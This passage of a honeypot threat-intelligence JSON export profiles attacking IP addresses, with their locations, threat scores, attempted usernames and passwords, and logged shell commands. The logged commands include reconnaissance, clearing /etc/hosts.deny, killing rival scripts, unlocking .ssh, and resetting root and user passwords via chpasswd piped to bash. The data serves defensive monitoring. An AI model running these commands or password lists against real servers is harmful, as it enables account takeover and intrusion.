      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:277a8azLbZjW\"|chpasswd|bash",
        "echo \"root:7ied7KsAN921\"|chpasswd|bash",
        "echo \"root:BJSisJyUxAKx\"|chpasswd|bash",
        "echo \"root:cRP0wuXZCKQJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.3,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 541,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:13:15.461000+00:00",
        "last_seen_30d": "2026-03-28T22:42:54.758000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 117
      }
    },
    "155.248.164.42": {
      "attack_count": 424,
      "first_seen": "2026-03-16T07:11:02.889Z",
      "last_seen": "2026-03-30T18:32:41.407Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "adi",
        "user8",
        "debian",
        "dylan",
        "peter",
        "srvadmin",
        "tsbot",
        "tst",
        "umar",
        "vadim"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1012",
        "12345",
        "123454",
        "12345678a",
        "Aa121212",
        "Apple@2026",
        "CC123456.",
        "Cart32_0711",
        "Pass@2026",
        "Q1w2e3!",
        "Support123!",
        "Tsbot123",
        "User8123!",
        "Vps@2024",
        "Ww@123456789",
        "Zr123456@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\n5lXEfWtLYpE2\\n5lXEfWtLYpE2\\n\"|passwd",
        "echo \"User8123!\\ne7f7OiUBxJeV\\ne7f7OiUBxJeV\\n\"|passwd",
        "echo \"root:1qmRPZUNuBxl\"|chpasswd|bash",
        "echo \"root:AGzfxfEgvgUN\"|chpasswd|bash",
        "echo -e \"12345\\n5lXEfWtLYpE2\\n5lXEfWtLYpE2\"|passwd|bash",
        "echo -e \"User8123!\\ne7f7OiUBxJeV\\ne7f7OiUBxJeV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Inzai",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 49.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 515,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:11:02.889000+00:00",
        "last_seen_30d": "2026-03-30T18:33:42.581000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 91
      }
    },
    "203.145.34.240": {
      "attack_count": 424,
      "first_seen": "2026-03-09T02:44:57.563Z",
      "last_seen": "2026-03-27T15:59:44.778Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "es_user",
        "pavel",
        "arkserver",
        "gns3",
        "jon",
        "mitra",
        "omega",
        "t128",
        "verdaccio"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12342234",
        "12345",
        "123456",
        "12345678",
        "123456qwe",
        "1a2b3c!@#",
        "20241220",
        "31415926",
        "Aa111111",
        "Arkserver123",
        "Fr123456789",
        "Gns3123",
        "Nn123456@",
        "Q2w3e4r5",
        "a1234",
        "aBc123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nFt2nIDu0iUU5\\nFt2nIDu0iUU5\\n\"|passwd",
        "echo \"123\\nv0iu5oa2EZCy\\nv0iu5oa2EZCy\\n\"|passwd",
        "echo \"root:UJg1QXeoAjlE\"|chpasswd|bash",
        "echo \"root:bNRszriezons\"|chpasswd|bash",
        "echo -e \"1234\\nFt2nIDu0iUU5\\nFt2nIDu0iUU5\"|passwd|bash",
        "echo -e \"123\\nv0iu5oa2EZCy\\nv0iu5oa2EZCy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 47.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 527,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:44:57.563000+00:00",
        "last_seen_30d": "2026-03-27T16:00:47.169000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 103
      }
    },
    "190.181.44.194": {
      "attack_count": 404,
      "first_seen": "2026-03-07T02:39:51.908Z",
      "last_seen": "2026-03-07T03:08:51.565Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "atlas",
        "backupuser",
        "netflow",
        "nutanix",
        "crafty",
        "denis",
        "frontend",
        "usuario",
        "xwiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345678",
        "@qwer2024",
        "@qwer2025",
        "Nutanix123",
        "P@ssw0rd12",
        "Usuario123!",
        "frontend123",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nwx0XMccd18fT\\nwx0XMccd18fT\\n\"|passwd",
        "echo \"123456\\n3NRADOdPHR60\\n3NRADOdPHR60\\n\"|passwd",
        "echo \"123\\nJKoz15ontu9q\\nJKoz15ontu9q\\n\"|passwd",
        "echo \"Nutanix123\\nja6WHJPLjLkZ\\nja6WHJPLjLkZ\\n\"|passwd",
        "echo \"root:zN6KhmYidXXW\"|chpasswd|bash",
        "echo -e \"12345678\\nwx0XMccd18fT\\nwx0XMccd18fT\"|passwd|bash",
        "echo -e \"123456\\n3NRADOdPHR60\\n3NRADOdPHR60\"|passwd|bash",
        "echo -e \"123\\nJKoz15ontu9q\\nJKoz15ontu9q\"|passwd|bash",
        "echo -e \"Nutanix123\\nja6WHJPLjLkZ\\nja6WHJPLjLkZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Cochabamba",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 454,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:39:51.908000+00:00",
        "last_seen_30d": "2026-03-07T03:09:58.116000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 50
      }
    },
    "27.79.4.121": {
      "attack_count": 352,
      "first_seen": "2026-03-26T23:58:24.346Z",
      "last_seen": "2026-03-27T00:35:54.620Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "cisco",
        "*****",
        "bin",
        "brenda",
        "cf1c22",
        "demo",
        "developer",
        "ftp",
        "geral",
        "guest",
        "helpdesk",
        "installer",
        "joro",
        "linaro",
        "madrid",
        "mms",
        "monitor"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "*****",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1111",
        "123",
        "12345",
        "12345678",
        "@",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin",
        "administrator",
        "alpine",
        "bin",
        "brenda",
        "calvin",
        "cf1c22"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 500,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T23:58:24.346000+00:00",
        "last_seen_30d": "2026-03-27T00:36:55.835000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 352,
        "Suricata": 148
      }
    },
    "182.48.80.240": {
      "attack_count": 331,
      "first_seen": "2026-03-10T01:35:56.070Z",
      "last_seen": "2026-03-10T02:00:47.930Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bai",
        "claude",
        "friend",
        "usuario1",
        "abc",
        "clawd",
        "dario",
        "dp",
        "paolo",
        "scanner",
        "ts3bot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "Abc123",
        "Bai123",
        "Dario123!",
        "Scanner123!",
        "Ts3bot123!",
        "claude2025",
        "friend123",
        "usuario1123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Bai123\\n4S1kTBSOKO2q\\n4S1kTBSOKO2q\\n\"|passwd",
        "echo \"claude2025\\nflY0fAS5Q7w1\\nflY0fAS5Q7w1\\n\"|passwd",
        "echo \"friend123\\nFEjixmo5vrsj\\nFEjixmo5vrsj\\n\"|passwd",
        "echo \"usuario1123!\\nxyPuWl8QQdWe\\nxyPuWl8QQdWe\\n\"|passwd",
        "echo -e \"Bai123\\n4S1kTBSOKO2q\\n4S1kTBSOKO2q\"|passwd|bash",
        "echo -e \"claude2025\\nflY0fAS5Q7w1\\nflY0fAS5Q7w1\"|passwd|bash",
        "echo -e \"friend123\\nFEjixmo5vrsj\\nFEjixmo5vrsj\"|passwd|bash",
        "echo -e \"usuario1123!\\nxyPuWl8QQdWe\\nxyPuWl8QQdWe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 63969,
      "as_org": "Race Online Limited",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T01:35:56.070000+00:00",
        "last_seen_30d": "2026-03-10T02:01:55.515000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 43
      }
    },
    "34.39.58.191": {
      "attack_count": 307,
      "first_seen": "2026-03-19T04:36:41.867Z",
      "last_seen": "2026-03-23T20:35:41.305Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alfred",
        "tester",
        "ubuntu",
        "den",
        "es",
        "frank",
        "informix",
        "innova",
        "java",
        "kannel",
        "pedro",
        "shawn",
        "student4",
        "super",
        "temp"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1qaz!QAZ",
        "Abc123!!",
        "Asdf@1234",
        "Java123!",
        "Qwe123..",
        "admin",
        "alfred",
        "asdfghjkl",
        "den",
        "elastic",
        "innova",
        "kannelpass",
        "password",
        "pedro1234",
        "ubuntu@2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin\\ntx30IYz5jTha\\ntx30IYz5jTha\\n\"|passwd",
        "echo \"alfred\\nAbhZfGXZK6Em\\nAbhZfGXZK6Em\\n\"|passwd",
        "echo \"ubuntu@2026\\nwXj93aslFXp5\\nwXj93aslFXp5\\n\"|passwd",
        "echo -e \"admin\\ntx30IYz5jTha\\ntx30IYz5jTha\"|passwd|bash",
        "echo -e \"alfred\\nAbhZfGXZK6Em\\nAbhZfGXZK6Em\"|passwd|bash",
        "echo -e \"ubuntu@2026\\nwXj93aslFXp5\\nwXj93aslFXp5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:36:41.867000+00:00",
        "last_seen_30d": "2026-03-23T20:36:49.266000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 60
      }
    },
    "168.167.228.74": {
      "attack_count": 259,
      "first_seen": "2026-03-03T08:13:42.739Z",
      "last_seen": "2026-03-03T08:47:28.463Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!P@ssw0rd",
        "100100100",
        "110110",
        "1qaz!qaz",
        "1qaz2WSX3edc",
        "Bingo@1993",
        "frappe",
        "qQ123456",
        "qwerty23",
        "wh@123456",
        "xu123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HurhRwOFFBED\"|chpasswd|bash",
        "echo \"root:WYv5yXTNIz25\"|chpasswd|bash",
        "echo \"root:dJYCKHzLuQcF\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Botswana",
      "country_code": "BW",
      "city": "Gaborone",
      "asn": 14988,
      "as_org": "BTC-GATE1",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:13:42.739000+00:00",
        "last_seen_30d": "2026-03-03T08:48:36.680000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "193.164.150.245": {
      "attack_count": 248,
      "first_seen": "2026-03-11T08:52:26.682Z",
      "last_seen": "2026-03-11T19:50:05.636Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cardano",
        "contab",
        "alumno",
        "astra",
        "awsuser",
        "beehive",
        "botuser",
        "claude",
        "cockpit",
        "cristi",
        "dell",
        "devops",
        "excel",
        "frappeuser",
        "laurent",
        "lima",
        "n8n",
        "piuser",
        "plex"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "Piuser123",
        "alumno",
        "astra123",
        "awsuser123",
        "cardano",
        "claude123",
        "cockpit",
        "excel1234",
        "n8n",
        "root1234!@#$",
        "sinusbot123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\njNANGf2vqRzq\\njNANGf2vqRzq\\n\"|passwd",
        "echo \"cardano\\nP2KXn08BTu7W\\nP2KXn08BTu7W\\n\"|passwd",
        "echo -e \"123456\\njNANGf2vqRzq\\njNANGf2vqRzq\"|passwd|bash",
        "echo -e \"cardano\\nP2KXn08BTu7W\\nP2KXn08BTu7W\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T08:52:26.682000+00:00",
        "last_seen_30d": "2026-03-11T19:51:06.031000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 248,
        "Suricata": 60
      }
    },
    "103.189.234.82": {
      "attack_count": 213,
      "first_seen": "2026-03-20T01:09:22.822Z",
      "last_seen": "2026-03-20T01:41:22.911Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "felix",
        "leandro",
        "ahmad",
        "batman",
        "cisco",
        "compras",
        "dima",
        "discord",
        "janice",
        "jenkins",
        "lawrence",
        "openbravo",
        "root",
        "root01",
        "simon"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Ahmad",
        "batmanbatman",
        "dimapassword",
        "discord@123",
        "janice",
        "lawrence",
        "leandroleandro",
        "q1w2e3r4Q!W@E#R$",
        "root01@123",
        "simon"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\ngiTA9nHP0RKJ\\ngiTA9nHP0RKJ\\n\"|passwd",
        "echo \"leandroleandro\\nw8MRFqGll2kr\\nw8MRFqGll2kr\\n\"|passwd",
        "echo -e \"123\\ngiTA9nHP0RKJ\\ngiTA9nHP0RKJ\"|passwd|bash",
        "echo -e \"leandroleandro\\nw8MRFqGll2kr\\nw8MRFqGll2kr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T01:09:22.822000+00:00",
        "last_seen_30d": "2026-03-20T01:42:25.644000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 45
      }
    },
    "125.247.116.158": {
      "attack_count": 207,
      "first_seen": "2026-03-20T03:42:17.577Z",
      "last_seen": "2026-03-20T04:14:31.590Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "rohit",
        "345gs5662d34",
        "angela",
        "appadmin",
        "bet",
        "cheeki",
        "intell",
        "kodi",
        "mysql",
        "qa",
        "tecnico",
        "tele",
        "webapp",
        "wow"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "1234",
        "12345",
        "123456",
        "345gs5662d34",
        "Bet",
        "Cheeki123!",
        "Wow123",
        "angelapass",
        "appadminappadmin",
        "intellintell",
        "kodipass",
        "qa",
        "rohitpassword",
        "root123@",
        "test12",
        "webapppass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"rohitpassword\\n7mE03ivzWJhj\\n7mE03ivzWJhj\\n\"|passwd",
        "echo \"root:QJMaMjEu8c68\"|chpasswd|bash",
        "echo -e \"rohitpassword\\n7mE03ivzWJhj\\n7mE03ivzWJhj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
